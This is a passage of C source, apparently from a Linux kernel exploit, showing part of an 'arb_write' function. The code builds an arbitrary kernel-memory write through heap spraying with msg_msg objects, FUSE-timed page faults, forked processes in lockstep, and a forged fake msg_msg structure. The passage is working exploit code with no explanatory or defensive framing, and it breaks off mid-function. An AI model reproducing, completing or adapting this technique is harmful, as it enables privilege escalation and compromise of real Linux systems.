arb write ---- try 8 times
| 1675 | } |
| 1676 | // arb write ---- try 8 times |
| 1677 | bool arb_write(void *target_addr, int size, void *fuse_adr) // target_addr - write address; size - write size; fuse_adr+8 - trigger page fault |
| 1678 | { |
| 1679 | int fd_vul; |
| 1680 | int fd_msg; |
| 1681 | printf("[+] spraying msg for arbitrary write\n"); |
| 1682 | initialise_shared(&two_loop); |
| 1683 | for (int i=0; i<=N_PROCS; i++) |
| 1684 | pthread_mutex_trylock(&two_loop->proc_mutex[i]); |
| 1685 | int id = N_PROCS; |
| 1686 | for (int i=0; i<N_PROCS; i++) { |
| 1687 | if (fork()==0) { // sub-process will break & run outside code, id - which process |
| 1688 | id = i; |
| 1689 | pthread_mutex_lock(&two_loop->proc_mutex[id]); |
| 1690 | break; |
| 1691 | } |
| 1692 | if (i==N_PROCS-1) { // every main process hang there |
| 1693 | // hang main proc |
| 1694 | pthread_mutex_unlock(&two_loop->proc_mutex[0]); |
| 1695 | pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]); |
| 1696 | } |
| 1697 | } |
| 1698 | |
| 1699 | pagealloc_pad(0x100, 0x8000); // spray 0x100 ring_buffer in 8-page |
| 1700 | |
| 1701 | #ifdef KERNEL_DEBUG |
| 1702 | int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG_DETAIL); |
| 1703 | ioctl(-1, 0x37778, &debug); |
| 1704 | printf("id %d started\n", id); |
| 1705 | #endif |
| 1706 | // 1. spray 2 continues 8-page pad |
| 1707 | fd_vul = pagealloc_pad(1, 0x8000); |
| 1708 | fd_msg = pagealloc_pad(1, 0x8000); |
| 1709 | msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1); // spary 8*2 msg_msg in kmalloc-4k & kmalloc-32 |
| 1710 | // 2. free 2nd pad & spray fuse msg_msg |
| 1711 | fuse_msg_spray(SLAB_4k_OBJS_PER_SLAB + 1, size, fuse_adr); // spray 9 msg_msg & trigger page fault at (fuse_adr+8) wait |
| 1712 | close(fd_msg); |
| 1713 | release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB + 1); // let the 9 spray thread begin |
| 1714 | usleep(10000); |
| 1715 | |
| 1716 | if (id != N_PROCS) |
| 1717 | { |
| 1718 | pthread_mutex_unlock(&two_loop->proc_mutex[id+1]); |
| 1719 | pthread_mutex_lock(&two_loop->proc_mutex[id]); |
| 1720 | } else { |
| 1721 | for (int i=0; i<N_PROCS; i++) |
| 1722 | pthread_mutex_unlock(&two_loop->proc_mutex[i]); // make all sub-process begin |
| 1723 | } |
| 1724 | // 3. free 1st pad && trigger OOB |
| 1725 | close(fd_vul); |
| 1726 | |
| 1727 | if (id != N_PROCS) |
| 1728 | { |
| 1729 | pthread_mutex_lock(&two_loop->proc_mutex[id]); |
| 1730 | } |
| 1731 | |
| 1732 | struct fake_msg_msg *fake_msg = (struct fake_msg_msg *)malloc(sizeof(struct fake_msg_msg)); |
| 1733 | memset(fake_msg, 0, sizeof(*fake_msg)); |
| 1734 | fake_msg->m_list.next = msglist_next; |
no test coverage detected